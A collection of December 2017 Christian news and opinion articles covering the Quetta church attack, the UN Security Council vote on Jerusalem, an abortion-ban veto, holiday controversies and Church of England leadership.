In modern Austria, Germany, Hungary, Slovenia, and the Czech Republic, drunken men dressed as devils take to the streets for a Krampuslauf  a Krampus Run in which people get chased through the streets by the devils. Thats one way to burn off those holiday cals.

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As many pro-life advocates feared, Pennsylvanias pro-abortion governor has vetoed a bill that would have banned abortions after 20 weeks.

As ChristianHeadlines.com previously reported, the bill had bipartisan support, but Gov. Tom Wolf had vowed to veto it.

After vetoing the measure, Wolf called it a vile assault on women's ability to make their own decisions about their own health care, reports The Hill.

Those who were in favor of the bill banning abortions after 20 weeks argue that new research has shown that unborn babies can feel pain at 20 weeks gestation. Several other states have already adopted 20-week abortion bans, often known as pain-capable unborn child bills.

Pennsylvania Republicans accused Wolf of being a puppet of Planned Parenthood. Wolf reportedly has ties to Planned Parenthood and has even appointed one of the organizations board members as his chief of staff.

Tom Wolf is a puppet of Planned Parenthood, the nations number one provider of abortions, and is going to gladly accept their special-interest money for more political favors, said Greg Manz, a spokesman for the Pennsylvania Republican Party.

The Hill reports that the House has passed a similar 20-week abortion ban bill on the federal level, but the bill is not expected to pass in the Senate.

Photo courtesy: Flickr.com

Publication date: December 19, 2017
Terror struck Christians in Pakistans Balochistan Province today as four terrorists allegedly linked with the Islamic State (IS) attacked a church, killing at least nine worshippers and injuring more than 50 others.



Police and church officials told Morning Star News that four suicide attackers stormed the Bethel Memorial Methodist Church in the provincial capital, Quetta, in the southwestern part of the country.



There were around 400 worshippers inside the church when the attack began, the senior leader of the church identified only as Pastor Samuel told Morning Star News, adding that the church was holding a Sunday School Christmas Program at the time of the attack.



Pastor Samuel said that police assigned to the churchs security reacted timely, averting a much larger tragedy, as one suicide attacker was shot dead after an exchange of fire with police while the other died after detonating his explosive-packed jacket before being able to enter the main prayer hall.



Their two accomplices fled the scene during the exchange of fire.



The loss of lives would have been colossal had either of the two suicide bombers detonated inside the church hall, Pastor Samuel said. Zarghoon Road is a very sensitive area, and the church is already listed in the A+ category of high threat places.



Police guards deployed at the main gate and on the roof opened fire on the terrorists when one of them scaled the church gate and opened it for his accomplice, he said.



Our church gatekeeper, George Masih, was the first person who fell to the terrorists bullets, he said.



The congregation erupted in panic as soon as the shots rang out in the church compound, he said.



We immediately asked the people to take shelter beneath the benches, as we were not sure about the attackers location, the pastor said. Many panic-stricken people rushed towards the main door and thats when the second bomber exploded his jacket in the compound, resulting in the casualties.



The dead included a married woman, Sona Nadif, two girls, Madiha Barkat and Mehak Suhail, a boy named Akash, and others identified as Naseem, George Masih, Gulzar Bhatti, Sultan Masih and Fazal Masih.



Hiding Under Benches

Broken wooden benches, shards of glass and musical instruments were scattered around a Christmas tree inside the prayer hall that was splashed with blood stains.



Sunil Pervaiz, who was present in the church with his sister when the attack happened, told Morning Star News that the congregation was busy worshipping when the firing started.



We hid the women and children under the benches, but just then a deafening explosion occurred, breaking the wooden door and the glass windows, Pervaiz said. I saw several people covered in blood  some were lying on the floor, some limping away to safety. It was sheer chaos.



Aqil Anjum, who was shot in his right arm, said bullets were hitting people inside the closed hall.



The situation was so chaotic that my mind had numbed, he told Morning Star News. My condition was such that I initially didnt even feel the bullet piercing my arm.



Mehreen Joseph, 43, said her 17-year-old son suffered multiple wounds from gunfire and the explosion.



I am thankful to God Almighty that my son is alive, but my heart grieves for the families of our congregation who have lost their loved ones today, she said. The church was brimming with activity for the pre-Christmas Mass, and we all were very excited to be there, but our happiness has been turned into sadness.



According to Balochistan Police Chief Moazzam Ansari, the injuries resulted mainly from wooden splinters from the door and from glass blown out of the churchs windows in the explosion.



Ansari praised the quick response of the police guards posted to the church, which he said had prevented the attackers from causing maximum damage.



The assailants were between 16 and 20 years old and had strapped 15 kilograms of explosives to their bodies. One successfully detonated his explosive vest, while the other was defused, Ansari said, adding that two other attackers fled without putting up a fight. Authorties are searching for them.



Islamic State Claims Responsibility

The Islamic State, also known by its Arabic acronym Daesh, claimed responsibility for the attack, the groups Amaq news agency said in an online statement, without providing any evidence for its claim.



The Bethel Memorial Church was the target of a previous terrorist attack. Security had been beefed up for the church after the last attack, which occurred a few years ago. The church is located in the citys high-security zone.



Jacob Masih, another worshipper, said that the attack occurred so suddenly that the congregation was thunder-struck.



People started running to the corners of the church when the firing started, he told Morning Star News. All of this happened very quickly, leaving most of us in a state of shock and disbelief. Many, including myself, thought that it was the last day of our lives.



Sidra Shams, a member of the church, said that several children participating in the Sunday school program remained safe while firing continued around them.



The church attack came a day after the third anniversary of a Taliban attack on an army-run school in Peshawar in the northwestern province of Khyber Pakhtunkhwa that killed 144 persons, mostly schoolchildren, one of the single deadliest attacks in the countrys history.



Pakistan Prime Minister Shahid Khaqan Abbasi and Chief of Army Staff (COAS) Gen. Qamar Javed Bajwa condemned the attack, calling it an attempt to cloud Christmas celebrations.



The United States also strongly condemned the shocking and brutal attack on innocent worshippers, U.S. Ambassador to Pakistan David Hale said in a statement.



Christian political and religious leaders condemned the attack and urged the government to provide maximum security to churches across the country for Christmas services next week.



Rufus Solomon of the opposition Pakistan Tehreek-e-Insaf (PTI) said that terrorist attacks would not cease in Pakistan until the country implements the National Action Plan in letter and spirit.



The government came up with the national plan against terrorism and extremism after the Peshawar school attack, but not much has been done regarding its implementation, he said. This lethargy is costing precious human lives, but sadly the government remains unconcerned, and a traditional condemnatory statement is issued after every attack.



Solomon said that the Quetta attack has sent shockwaves throughout Pakistans Christian community and dampened the festive season.



The government must ensure special protection for churches as Christmas approaches, he said. My prayers go to the victims families and for the speedy recovery of the injured.



The senior-most bishop of the Anglican Church of Pakistan, Alexander Malik, condemned the attack, saying he hoped the government would put in place extra security at all churches to avoid a similar catastrophe.



Today is a very sad day, as several families have lost their loved ones, while many others are left tending for their injured just a week before Christmas, Malik said. My heart grieves for their loss, and I pray that God may grant them patience and courage in this time of grief.



He urged Christians in Pakistan the world over to keep the grieving families in their prayers.



Christians make up 2 percent of Pakistans population and face persecution from hard-line Islamists who want to see a strict interpretation of Islamic law take precedence in the legal system.



A 7-year-old boy and two others were killed earlier in December during a hand grenade attack on the gates of a Christian colony in Chaman in Balochistan. The victim was identified as Lucky Saleem. No group has yet claimed responsibility for the attack.



Previous attacks on Christians include a suicide attack in Lahore that killed at least 14 people in March 2015, and suicide attacks on a church in Peshawar in 2013 that killed more than 80 people.



Pakistan ranked fourth on Christian support group Open Doors 2017 World Watch List of the 50 countries where it is most difficult to be a Christian.





If you would like to help persecuted Christians, visit http://morningstarnews.o rg/resources/aid-agencies/ for a list of organizations that can orient you on how to get involved.



If you or your organization would like to help enable Morning Star News to continue raising awareness of persecuted Christians worldwide with original-content reporting, please consider collaborating at http://morningstarnews.org/don ate/ ?
Recently, President Trump caused controversy with his bold announcement that the U.S. would recognize Jerusalem as Israels capital. Following that announcement, the United Nations Security Council took steps to overturn the Presidents decision, forcing the U.S. to exercise its veto power.

According to CharismaNews.com, 14 countries opposed Trumps decision and were in support of a resolution that would have reversed it. Nikki Haley, the U.S. Ambassador to the UN, was forced to use the U.S.s veto power in support of Trumps recognition of Jerusalem.

The UN resolution, which was even supported by close U.S. ally the United Kingdom, read that "all states comply with Security Council resolutions regarding the Holy City of Jerusalem, and not to recognize any actions or measures contrary to those resolutions."

Haley told the Council that the U.S. has the right as a sovereign nation to recognize Jerusalem as Israels capital and to move its embassy there.

Israeli Prime Minister Benjamin Netanyahu praised the U.S.s decision, and stated, One defeated the many, truth defeated lies.

CBN News Middle East Bureau Chief Chris Mitchell added his commentary to the U.S.s actions:

"There is a possibility ... that other nations might follow the U.S. lead, and one Christian leader told us this could be the starting gun of a beginning of nations coming up here," Mitchell said. "They've talked about the Czech Republic, the Philippines, Tanzania.

"So we could see other nations actually breaking precedent with the United Nations and coming here to Jerusalem," said Mitchell.

Photo courtesy: MatthewBrosseau

Publication date: December 19, 2017
Five Key Economic Reasons Why Prosperity Gospel Should Be Rejected The main point of this discussion is to demonstrate the differences between a biblical perspective on faith, work, and economics and the prosperity gospel

A 2006 Pew Forum poll of self-identified U.S. Christians* revealed that forty-six percent of respondents agreed with the following statement:

God will grant material prosperity to all believers who have enough faith.

Amazingly, this is tied for the eighth lowest of ten countries involved in the survey. Only Chile had fewer positive responses than the U.S. Even given the eleven years since the survey was conducted, this demonstrates that belief in the health-and-wealth gospel characterizes a significant portion of the population.

Given the fact that many Christians disagree about doctrines like baptism, church government, the significance of the Lord's Supper, and other matters discussed in the Bible, why should the relationship between faith and economics that characterizes the prosperity gospel be challenged? This post will show five key economic reasons why the prosperity gospel should be rejected.

Any discussion about error and truth must be undertaken with a sense of humility. There are certainly areas in which believers can disagree and should do so respectfully. There are realities to which our eyes are blinded by ignorance and cultural biases. However, when error exists in plain contrast to scripture, it is consistent with compassion to reveal that error graciously for the benefit of others (e.g., 1 Tim. 1:37).

1. The prosperity gospel undermines attempts to relieve poverty.

Individual conversion is a noble and necessary goal in Christian poverty alleviation efforts, but arguing that simply believing harder will fix the problem ignores many possible systemic evils or the need for skills and resources. James 2:1516 states,

If a brother or sister is poorly clothed and lacking in daily food, and one of you says to them, "Go in peace, be warmed and filled," without giving them the things needed for the body, what good is that?

In order for true poverty alleviation to occur, Christians must seek to eliminate social evils and empower the poor with the necessary resources as well as encourage personal faith.

2. The prosperity gospel can make the poor and sick feel guilty.

For adherents of the prosperity gospel whose businesses have failed or who have gotten tragically sick, the feeling of personal failure can be overwhelming. The reality is that God "makes the sun shine on the evil and on the good, and sends rain on the just and on the unjust" (Matt. 5:45, ESV). There should be no shame in poverty because shame can become a barrier to human flourishing.

3. The prosperity gospel denies the relationship between work and wealth.

God's design for humans was for them to work, even before the fall of Adam (Gen. 2:15). After the fall, God cursed the earth, making work harder for humans (Gen. 3:1719). Even after Christ's ascension to heaven, with the reconciliation of all things to God underway (Col. 1:1920), God still intends for people to work for their sustenance and wealth creation (2 Thess. 3:1012).

4. The prosperity gospel misrepresents economic principles.

Although God is capable of miracles and owns the cattle on a thousand hills (Psalm 50:10), this does not mean that the natural world, including the economics of the world, do not generally follow regular patterns. In fact, Jay Richards argues that the order of the marketplace is a reflection of God's design for creation.

Even in the biblical accounts of the early church, where miracles seem to be quite common, there is still a sense that the provisions of food for thousands from a few loaves and fishes or the many healings were irregularities in the normal pattern of life. The expectation of miraculous provision, even for believers, seems to deny the extraordinary nature of miracles. God's character is evidenced in the order of the created universe including economic principles.

5. The prosperity gospel prevents contentment.

Paul wrote of his own contentment even in harsh circumstances (Phil. 4:1112). With the prosperity gospel, however, faith must be continually demonstrated by a new abundance of wealth from God. The health-and-wealth gospel teaches that more is always better; there can never be enough. The continual desire for more brings about a form of spiritual poverty (1 Tim. 6:6).

There are other reasons to reject the prosperity gospel on theological grounds, but the main point of this discussion is to demonstrate the differences between a biblical perspective on faith, work, and economics and the prosperity gospel.

*The survey focuses on certain aspects of the Pentecostal movement, but includes responses from all self-identifying Christians and asks questions about doctrines not essential to Pentecostal belief.

This article is copied with permission from the Institute for Faith, Work & Economics (www.tifwe.org). The original article appeared here. IFWE is a Christian research organization committed to advancing biblical and economic principles that help individuals find fulfillment in their work and contribute to a free and flourishing society. Visit https://tifwe.org/subscribe to subscribe to the free IFWE Daily Blog.
Group Advises Those 'Fed Up With the Liberal Assault on  Decency' to Boycott Target You may not know what to buy for your family, but we know where to buy!

You may not know what to buy for your family, but we know where to buy! #AnywhereButTARGET is the holiday rallying cry of our friends at 2nd Vote, who want to keep the heat on the retailer for its radical agenda.

"Fed up with the liberal assault on common sense and decency in our schools and workplaces?" they ask. "Tired of corporations carrying the water for a radical agenda that undermines our values and safety? Our campaign to send Target a message continues as we're still shopping #AnywhereButTARGET, because we don't think conservatives should fund Target's radical social agenda."

Of course, the company has done everything in its power to rescue its falling profitseverything but reversing the one policy that's resulted in a 1.5 million-person boycott (and plenty of episodes of criminal activity). Christmas is the one time a year that Target could make up a lot of financial ground. Don't let it. Watch the video below and get on board with 2nd Vote. If you're still not convinced, check out the American Family Association's three reasons to shop elsewhere this month.

Originally published at Tony Perkins' Washington Update.

Tony Perkins is president of the Family Research Council.
Hanukkah Day Eight  An Eternal Flame Hanukkah is the only Jewish holiday that isn't commanded in Scriptures, and while we do have the Book of Maccabees, it was never made part of the Bible.

Book of Maccabees, it was never made part of the Bible. So it makes sense that generations later the Jewish sages asked, "Why Hanukkah?" What is the reason for this holiday? Now, they could have answered that it was in order to remember the miraculous military victory of the Jews over the Greeks. But instead they cite the miracle of the oil. When the victorious Maccabees redeemed the Temple, they were lucky enough to find one jar of oil which was enough to light the lampstand for one night. Miraculously, it lasted for eight nights giving the Jews enough time to make new pure olive oil without any interruption in the burning of the light.

Why did the sages choose the miracle of oil over the military battle for the main focus of the holiday?

While the military victory was great and miraculous, it was not full or permanent. It would be another two decades before the Jews fully succeeded in ousting the Greeks from Israel. And even that liberty would be temporary; a few centuries later, Jerusalem fell to Rome. The miracle of the oil, on the other hand, was a victory that would last forever because it was not a physical victory, but a spiritual one.

When God first commanded Aaron and his descendants to light the menorah, the lampstand, in the Tabernacle and then the Temple, Scripture says that it is an eternal commandment. However, the Temple was destroyed in 70 CE, so how could this commandment possibly be for all generations? The sages explain that when the Maccabees, a family of priests, lit the Temple menorah leading to the Hanukkah miracle, they made the lighting eternal. We fulfill the lighting of the Temple menorah by lighting our Hanukkah menorahs each year.

This is why the holiday was included in the Jewish yearly cycle. In Judaism, the menorah symbolizes the light of God and the light of the Torah. When we light the menorah on Hanukkah, we fulfill a biblical mandate after all. We bring the light that God desires into every generation. We rekindle our passion for His Word and share its light with others.

Hanukkah celebrates an eternal triumph of God's light over all darkness. This spiritual light is an everlasting one. Goodness will always overcome evil, and light will ultimately outshine the darkness forever.

Rabbi Yechiel Ecksteinis the founder and president of the International Fellowship of Christians and Jews, which now raises more than $140 million per year, mostly from Christians, to assist Israel and the Jewish people. Since its founding, The Fellowship has raised more than $1.4 billion for this work. The organization has offices in Jerusalem, Chicago, Toronto, and Seoul.
Merry Christmas Greetings Turn Merry Winter at UCI To add to the Christmas confusion, the guidelines also offer the following advice: "Ensure that office celebrations are not indirectly celebrating religious holidays."

Ho, ho, ho! Merry ... Winter?

Guidelines issued by the University of California, Irvine's Office of Equal Opportunity and Diversity say that holiday celebrations are best avoided. Instead, the office is urging the college's departments and administrators to hold "year-end celebrations."

Celebrating seasonal themes such as fall, winter, or spring are acceptable by this group  but those that celebrate "religious holidays" (even indirectly) are a definite thumbs down.

Christmas falls squarely into the "religious holiday" category. So if you're a faculty member, a student, a patient, or a staff member on UCI's campus or medical center, you're out of luck for Christmas-specific holiday cheer this year.

UCI's guidelines appear to contain some inherent inconsistencies. For example, the university encourages stakeholders to "be inclusive and sensitive to the cultural and religious practices and celebrations of their employees, students and constituents." A few sentences later, however, the guidelines say that units should "focus on celebrating a special occasion, instead of a specific holiday."

In the guidelines, UCI also provides two resources for ferreting out cultural and religious celebration dates. The resources include an interfaith calendar and the "official Kwanzaa website."

To add to the Christmas confusion, the guidelines also offer the following advice: "Ensure that office celebrations are not indirectly celebrating religious holidays." What constitutes "indirect" celebration, exactly?

Let's be blunt. Which is it, UCI? Campus departments are supposed to guess which of the dates listed on your resources are acceptable to directly celebrate  and which are not acceptable?

To add to the Christmas confusion, the guidelines also offer the following advice: "Ensure that office celebrations are not indirectly celebrating religious holidays." What constitutes "indirect" celebration, exactly?

A Christmas tree with an inappropriate ratio of Christmas to non-Christmas ornaments? A tray of party hors d'oeuvres shaped suspiciously like a Star of David? A dorm lounge festooned with colorful streamers that look just a little too Diwali for comfort?

At least one faith-based organization, Acts 2 Fellowship, held an "End of Year" gathering on campus. The campus Christian fellowship and ministry's event took place Friday night in UC Irvine's Pacific Ballroom (Student Center). Per their Instagram posts, the festivities were a smashing success and included a Christmas tree, Christmas presents, a colorful banner that read "Merry Christmas"  and unspecified "shenanigans."

Shockingly, there were no reports of students suffering irrevocable harm during this wanton act of Christmas cheer.

Michele Blood is a freelance writer based in Flemington, New Jersey.

Originally posted here at Lifezette.
The Real Christmas Story Retold: When The God-King Became a Helpless Babe in the Manger God chooses to live among us to redeem us and lead us back again to heaven

The Christmas story really starts with a tree  not a Christmas tree, but a family tree. It is interesting to note that both Matthew and Luke start their gospels with a genealogy. One is the genealogy of Mary, and the other is the genealogy of Joseph. Both were descendants of King David.

The fact that the Christmas story starts with a genealogy shows us that it's a real story that happened in a real place at a real time.

Gabriel had already informed Zechariah and Elizabeth they would have the forerunner of the Lord as their son. Then Gabriel showed up in Nazareth, one of those cities that was on the way to another city. Nazareth also was a place known for its wickedness. Yet living in this godless place was a godly girl named Mary, a direct descendant of King David.

The angel Gabriel made this announcement to Mary: "Do not be afraid, Mary, for you have found favor with God. And behold, you will conceive in your womb and bring forth a Son, and shall call His name Jesus. He will be great, and will be called the Son of the Highest; and the Lord God will give Him the throne of His father David. And He will reign over the house of Jacob forever, and of His kingdom there will be no end" (Luke 1:30-33 NKJV).

The angel was telling Mary, in effect, "You are a fulfillment of Bible prophecy." Imagine being told that you would be the one to fulfill the words of Isaiah 7:14: "Behold, the virgin shall conceive and bear a Son, and shall call His name Immanuel" (NKJV).

But that which would be conceived in her would come from the Holy Spirit, and the problem was getting Joseph to believe it. And when she told him, he didn't believe it. But then an angel of the Lord appeared to Joseph and confirmed that she would be the mother of the Messiah: "And she will bring forth a Son, and you shall call His name Jesus, for He will save His people from their sins" (Matthew 1:21 NKJV).

Back in those days, there were a lot of boys named Jesus. It was a popular name that meant "Jehovah saves." Joshua and Yeshua are variations of the name. But this wasn't just any Jesus; this Jesus would save his people from their sins.

The angel was effectively saying, "Joseph, listen. Not only is your betrothed wife carrying the Son of God, but she is carrying the Messiah of Israel. She is fulfilling prophecy."

Fast-forward and Mary is nine months pregnant. When a woman is nine months pregnant, she doesn't want to go anywhere, but she and Joseph had to move. This is where the very familiar Christmas story begins:

At that time the Roman emperor, Augustus, decreed that a census should be taken throughout the Roman Empire. (This was the first census taken when Quirinius was governor of Syria.) All returned to their own ancestral towns to register for this census. And because Joseph was a descendant of King David, he had to go to Bethlehem in Judea, David's ancient home. He traveled there from the village of Nazareth in Galilee. He took with him Mary, to whom he was engaged, who was now expecting a child. And while they were there, the time came for her baby to be born. She gave birth to her firstborn son. She wrapped him snugly in strips of cloth and laid him in a manger, because there was no lodging available for them. (Luke 2:17 NLT)

Luke was a physician by trade and was meticulous in his reporting. He was very poetic but also a stickler for the facts. Luke wasn't an eyewitness of the life and ministry of Christ, so he interviewed the people who were the key players in this story. No doubt he sat down with Mary and heard the story from her and talked to other people who were actually there. Then he put it all together give us an accurate record of what took place. This was a real event, happening in a real place in real time.

Luke mentions both Caesar Augustus and Quirinius, who were real people. Caesar Augustus, whose actual name was Caius Octavius, was the first true Roman emperor. He was the great nephew of Julius Caesar. But after Caesar passed from the scene, they took the name of Caesar and turned it into a title. Caius Octavius became the Caesar of Rome, but he started calling himself Augustus Caesar. The term Augustus means to be worshiped and revered.

Archaeologists have discovered an actual monument dedicated to Caesar and inscribed with the words "Augustus Caesar, the savior of the whole world."

This makes sense when we look at the angel's statement to the shepherds, who were keeping watch over their flocks by night: "The Savior  yes, the Messiah, the Lord  has been born today in Bethlehem, the city of David! And you will recognize him by this sign: You will find a baby wrapped snugly in strips of cloth, lying in a manger" (Luke 2:1112 NLT).

Effectively, God was saying, "Augustus Caesar is not the Savior; Jesus Christ is the Savior. The Savior is not wrapped in royal robes. He is wrapped in strips of cloth, lying on the floor of a barn."

I like the way Sally Lloyd-Jones summed up what happened: "The God who flung planets into space and kept them from whirling around and around, the God who made the universe with just a word, the one who could do anything at all  was making himself small. And coming down ... as a baby!"

Really, when you look at the life of Christ, it is not a rags-to-riches story; it is a riches-to-rags story. Jesus went from being a sovereign to being a servant, from the glory of Heaven to a stable for animals. And all of that he did for us.

Originally posted Dec. 2 at Greg's Blog.

Greg Laurie is the senior pastor of Harvest Christian Fellowship, with campuses in Riverside and Irvine, California.
The UN Security Council and Israel: A Tale of Two Presidents America vetoed another anti-Israel resolution put forward by the Security Council.

Last December, America failed to veto an anti-Israel resolution put forward by the UN Security Council, choosing to abstain and thereby allowing the 14-0 vote to prevail. This week, almost one year later, America vetoed another anti-Israel resolution put forward by the Security Council, thereby blocking the bill's passage. The difference between 14-0 (with one abstention) and 14-1 is the difference between Obama and Trump.

On December 23, 2016, the Times of Israel announced, "Choosing not to veto, Obama lets anti-settlement resolution pass at UN Security Council. In dramatic departure from eight years of policy, US abstains, enabling 14-0 vote; Israel accuses Obama, Kerry of abandoning it; Palestinians hail 'day of victory.'"

The Times further explained that the text of the resolution called "on all states 'to distinguish, in their relevant dealings, between the territory of the State of Israel and the territories occupied since 1967'  language that Israel fears will lead to a surge in boycott and sanctions efforts, and that an Israeli official warned would provide 'a tailwind for terror.''

That's why "Israeli minister Yuval Steinitz, speaking after the vote, said the US had 'abandoned Israel, its only ally in the Middle East' and said its behavior was not that of a friend."

Given the icy relationship that existed between President Obama and Prime Minister Netanyahu, many took this abstention as a final slap in the face.

Regardless of what differences our nations may have had over the issue of settlements, the resolution, as put forward, called for a veto from the United States, and we let Israel down on that day.

Fast forward one year to December 18, 2017, and CNN reports, "US stands alone, defiant at UN Security Council over Jerusalem."

, our Ambassador to the UN, was clear and to the point, "Today for the simple act of deciding where to put our embassy, the United States was forced to defend its sovereignty. The record will reflect that we did so proudly."

That's the way to do it. Defy the absurd votes of the other nations, which have so often thrown Israel under the bus, and do it proudly.

"Today," she continued, "for acknowledging a basic truth about the capital city of Israel, we are accused [by the Palestinians and others] of harming peace. The record will reflect that we reject that outrageous claim. For these reasons and with the best interest of both the Israeli and the Palestinian people firmly in mind, the United States votes no on this resolution."

Exactly. America's actions acknowledge reality (Jerusalem is, in every way, the functioning capital of Israel and, historically, its only capital), and acknowledging reality is the only way to advance real peace in the Middle East.

This is one reason that I voted for Donald Trump: I believed he would be a true friend of Israel, and he has not disappointed me so far. In contrast, this was one reason that I did not vote for Barack Obama: I feared he would not be a true friend of Israel, and in that regard, he lived up to my negative expectations. Last year's UN abstention and this year's UN veto say it all.

And while I do not support all of our president's words and actions (there are times when I feel ashamed that he's our president, although I continue to pray for him), I'm quite glad that he is our president on days like these, and this is why we take the good with the bad.

As for the UN Security Council, the Jewish Virtual Library observes that, "Since the early 1970s, the UN has become permeated with anti-Semitic and Anti-Zionist sentiment," while, "A careful analysis of the Security Council's actions on the Middle East . . . shows it has been little better than the General Assembly in its treatment of Israel."

The 14-1 vote on the Jerusalem proposal is just another reminder of how anti-Zionist, if not anti-Semitic, that Security Council remains.

At times like this, it's good to know that your country was the one country that said, "Not on my watch."
Cardinal Nichols hits out at Trump's Jerusalem move as Greek Patriarch meets with UK Minister

Cardinal Vincent Nichols has spoken out against Donald Trump's recognition of Jerusalem as the capital of Israel as well as the further 'intolerable infringement on the Status Quo' threatened by Israeli legislation supported by 'radical settler groups' in the Holy City.

In a letter to the Greek Patriarch of Jerusalem, Theophilos III, and other church leaders in the Holy City, Cardinal Nichols writes: 'I wish to express my solidarity with you and all Christians in the Middle East at this troubling time.

'We stand at odds with President Trump's recognition of Jerusalem as the official capital city of the state of Israel and consequent rejection of the consistent position of the United Nations; and we fear that this will increase the already deep-rooted tensions in the city and the wider region.'

The letter comes as the Patriarch prepares to meet with the UK Minister for the Middle East Alistair Burt today as part of a whirlwind international tour to drum up support for his Church's plight against the Knesset legislation, sponsored by fundamentalist settlers, that would allow the state to confiscate church lands and threatens the delicate and ancient 'Status Quo' in the Old City.

In his letter which combines fears over both the political and religious status quo in Jerusalem, Cardinal Nichols writes that the proposed legislation 'represents an intolerable infringement of the Status Quo and the legitimate rights of the Churches and should be recognised for what it is: an attack on the property rights of the Christian community.'

The Patriarch has so far received support from Church leaders including Pope Francis, the Archbishop of Canterbury Justin Welby, Cardinal Nichols and world leaders including the King of Jordan and others. His visit follows an earlier trip to the UK last month.

The Patriarch, regarded as the most senior Church figure in the Holy Land, has highlighted a proposed bill signed by 40 Knesset members that would restrict the rights of Churches, including the Episcopal Diocese in Jerusalem, to deal independently with their land.

Pope Francis said in October: 'The Holy City, whose Status Quo must be defended and preserved, ought to be a place where all can live together peaceably; otherwise, the endless spiral of suffering will continue for all.'

Last month, Archbishop Welby said: 'I join other Church Leaders in calling for all parties to uphold the Status Quo and resist weakening it. I believe that a continued Christian presence in the Holy Land is of paramount importance.'

The Patriarch will tomorrow also join together with Rowan Williams, the former Archbishop of Canterbury inside Parliament.

In his letter, Cardinal Nichols writes of 'our grave concern at the proposed Bill of Church Lands that is currently under consideration in the Israeli Parliament'. He adds: 'We stand in solidarity with you against this threat to the long-standing arrangements that allow all faith communities to live together in Jerusalem.

'The Bill of Church Lands that has been proposed in the Knesset would grant the State the power to confiscate Church land. This proposal represents an intolerable infringement of the Status Quo and the legitimate rights of the Churches and should be recognised for what it is: an attack on the property rights of the Christian community. We urge religious and political leaders in the United Kingdom and around the world to join us in speaking out against this threat to religious freedom, which would set a dangerous precedent for other faiths in the Holy Land.

'We also request those in authority in Jerusalem to act decisively to stop the actions of radical settler groups that seek to expand their control over properties in Jerusalem to the exclusion of residents of the City who are not Jewish.'
Queuing for Communion, and then blown up: Pakistan's Christians bury victims of suicide attack

Christian mourners yesterday buried the eleven victims of the joint suicide attack on a church in Quetta, western Pakistan on Sunday morning, World Watch Monitor (WWM) reported.

Worshippers had been lining up to receive Communion when at least two men, armed and wearing suicide vests, attacked Bethel Memorial Methodist Church.

The attack left at least eleven dead and more than 50 injured, many in a critical condition, according to the latest unofficial accounts and WWM.

'It was a pleasant morning. We had sung songs and children had presented a Christmas programme. Pastor Simon Bashir had finished his sermon and we were moving towards the altar when we started hearing gunfire outside the church,' said Sohail Yousuf, whose 13 year-old daughter Mehak lost her life. Her 16 year-old sister Wasiqa is critically ill after an operation in Quetta's Combined Military Hospital (CMH).

Yousuf, a manager in an insurance company, moved to Quetta 16 years ago from Punjab after his wife, a government schoolteacher, was posted there.

'We bolted all the doors and were praying that God would protect each of us,' he said. 'Then a suicide bomber blew himself up at the main door. The explosion shattered the door and injured many inside. When some rushed outside, they were injured by gunfire as the terrorists were on the church lawn. But soon the situation was brought under control by the volunteer church security guards and police present there.'

The Caritas executive director Sheezan William told WWM that the first person killed was the church security guard George Masih, who tried to stop the men advancing towards the church.

Around two hundred congregants were inside the church, which was decorated for Christmas, when the terrorists unleashed their attack. Islamic State (ISIS) has claimed responsibility but provided no evidence for this claim, WWM said.

Retired brigadier Samson Simon Sharaf, a political analyst who is close to security agencies, told WWM that the attackers were four in number. 'They were equipped with ample ammunition supply and were aiming to take worshippers hostage and kill them one by one, prolonging the scene of terror as much as they could,' he said.

'One terrorist was shot in the compound before he could blow himself up inside the church. Meanwhile, the other one rushed to the church entrance where he blew himself up. The agencies chased the other two who fled, and a search operation is ongoing.

'The incident has taken place close to the sad day in the country's history, December 16 [when Pakistani forces were defeated in 1971, leading to East Pakistan becoming Bangladesh]. Our enemy keeps reminding us of our history. This time Christians are targeted who stand united with other Pakistanis against the menace of terrorism.'

The Quetta Methodist church, established in 1959, came under the control of the Church of Pakistan in 1971 after six Protestant denominations, including the Methodist Church, united as one denomination, WWM explained.

Eleven days ago, a seven-year-old boy and two others were killed during a hand grenade attack on the gates of a Christian colony in Chaman, also in Balochistan, south-western Pakistan.

Punjabi Christians staged a protest over what they say is a lack of protection from the government against Islamist attacks, outside the Lahore Press Club a few hours after the Quetta attack.

Last week, the EU Envoy on Freedom of Religion or Belief, Jan Figel, was in Pakistan, and took part in the establishment of an inter-faith advisory commission, the main aim of which is to help stop misuse of the blasphemy law.

On March 15, 2015, just before Easter, two churches in a Christian neighbourhood in Lahore came under twin suicide attacks, in which around 25 people died.

In 2016 in Lahore, Punjab, a suicide attack took place in a park, killing mostly Christians as they celebrated Easter.
Sarah Mullally, like Justin Welby, is no theologian. The CofE is losing its nerve

What qualities should we look for in a bishop? The sorry mess that has been made of the George Bell affair suggests administrative competence is essential. As the Carlile report revealed, not much of that was on display in handling the allegations against a giant of the twentieth century Church of England.

But questions need to be asked about whether competence in business or in another profession means similar success in the ordained ministry. It could be argued that the appointments of Justin Welby, hailed for his experience in the oil industry but a bishop for less than two years when he was translated to Canterbury, and of Sarah Mullally, a former chief nursing officer who has been a suffragan bishop for two years before her translation to London, represent a failure of nerve in the CofE. It is no longer enough to have wide experience of ordained ministry before being appointed a bishop; you have to have a CV that includes success in other occupations.

Such appointments may stir up attention in the secular media but they overlook the fact that the ministry, like other professions, requires not just a body of knowledge but formation in a particular ethos that takes time. Sarah Mullally may be right to draw attention to the similarities between nursing and being a priest or bishop but there are also differences. In particular there is the teaching role that is at the centre of the bishop's ministry.

Justin Welby gets mixed reports about how well he is performing as Archbishop of Canterbury. Critics say his crisp business style does not always come over well or obtain the results he intends. Brusqueness can easily turn to bad temper and this alienates people. One bishop told journalist Stephen Bates, 'I haven't been spoken to like that since I was at school'.

While the Archbishop must be given credit for being savvy about Public Relations his preaching and ability to reflect theologically are less than impressive. Martyn Percy, the Dean of Christ Church, who has criticised Welby's attempt to get the church to adopt secular management styles, told Bates that Welby 'has got an instinctive grasp of what needs to be done but pragmatic fixes have their limits. If you don't do the theology you can't go forward, you just go around in circles'.

Sarah Mullally's appointment is being criticised by those who feel that as a woman she cannot be a focus of unity in the church. Unfortunately the CofE is now so divided it is difficult for anyone to be a focus for unity. Even so it is sad that while a diocese with many traditionalists like London appears ready to accept a woman bishop, Sheffield was unable to accept Philip North.

More serious questions concern Mullally's theological expertise and ability to carry out a teaching role. We need to be cautious here. Bishops are not meant to function as academic theologians. Their task is to interpret the scriptures and tradition in ways that are meaningful today and to listen to what the Spirit is saying though the life of the church. Teaching requires listening and the bishop is well placed through numerous, diverse contacts to judge the mind of the Church.

